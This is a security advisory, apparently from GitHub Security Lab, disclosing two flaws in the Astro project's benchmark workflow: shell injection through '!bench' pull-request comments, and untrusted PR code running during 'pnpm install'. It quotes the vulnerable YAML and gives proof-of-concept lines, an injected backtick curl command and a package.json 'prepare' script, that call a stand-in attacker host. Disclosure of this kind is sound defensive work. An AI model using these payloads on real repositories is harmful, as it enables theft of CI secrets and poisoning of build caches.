Coordinated Disclosure Timeline

Summary

Astro contains Actions workflows that are vulnerable to Code Injection and Execution of Untrusted Code which could be leverage to steal secrets and poison the cache.

Project

Astro

Tested Version

Latest commit at the time of reporting

Details

The benchmark.yml workflow is triggered on new comments (issue_comment) containing the magic word !bench. In order to trigger the workflow, the comment needs to be added to a pull request in the Astro org (github.repository_owner == 'withastro').

The permissions are set to contents: read but the workflow has access to the TURBO_TOKEN secret which seems to be a Vercel access token that could lead to cache poisoning and, transitively, to release poisoning.

It is not clear if the repo requires approval for new contributors or all contributors, but an attacker should be able to create a Pull Request and while it waits to be approved, a !bench xxx comment on it will trigger the vulnerable workflow.

Issue 1: Code Injection (GHSL-2024-148)

The comment body is processed and everything after !bench magic word is assigned to the benchcmd environment variable and later to the steps.bench-command.outputs.bench workflow variable. This variable contains untrusted command and is later interpolated into a Run shell script leading to shell injection:

      - name: Get bench command
        id: bench-command
        env:
          # protects from untrusted user input and command injection
          COMMENT: ${{ github.event.comment.body }}
        run: |
          benchcmd=$(echo "$COMMENT" | grep '!bench' | awk -F ' ' '{print $2}')
          echo "bench=$benchcmd" >> $GITHUB_OUTPUT
        shell: bash

      - name: Run benchmark
        id: benchmark-pr
        run: |
          result=$(pnpm run --silent benchmark ${{ steps.bench-command.outputs.bench }})
          processed=$(node ./benchmark/ci-helper.js "$result")
          echo "BENCH_RESULT<<BENCHEOF" >> $GITHUB_OUTPUT
          echo "### PR Benchmark" >> $GITHUB_OUTPUT
          echo "$processed" >> $GITHUB_OUTPUT
          echo "BENCHEOF" >> $GITHUB_OUTPUT
        shell: bash

PoC

Add the following comment to a PR:

!bench `curl https://attacker-server.com`

And check that the attacker server receives a connection from the workflow runner.

Impact

This issue may lead to the leakage of the TURBO_TOKEN secret and to GitHub Actions Cache Poisoning since an attacker may be able to steal the cache token and use it to poison the build dependencies used in other workflows.

Remediation

Issue 2: Execution of untrusted code (GHSL-2024-149)

The workflow checkouts untrusted code (PR head) in:

      - uses: actions/checkout@v4
        with:
          persist-credentials: false
          ref: refs/pull/${{ github.event.issue.number }}/head

And then run commands that may lead to execution of the untrusted code. Eg:

      - name: Install dependencies
        run: pnpm install

PoC

An attacker can send a Pull Request with a packages.json containing a script to be run when pnpm install is executed:

"scripts": {
    "prepare": "curl https://attacker-server.com",
},

Impact

This issue may lead to the leakage of the TURBO_TOKEN secret and to GitHub Actions Cache Poisoning since an attacker may be able to steal the cache token and use it to poison the build dependencies used in other workflows.

Resources

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-148 or GHSL-2024-149 in any communication regarding these issues.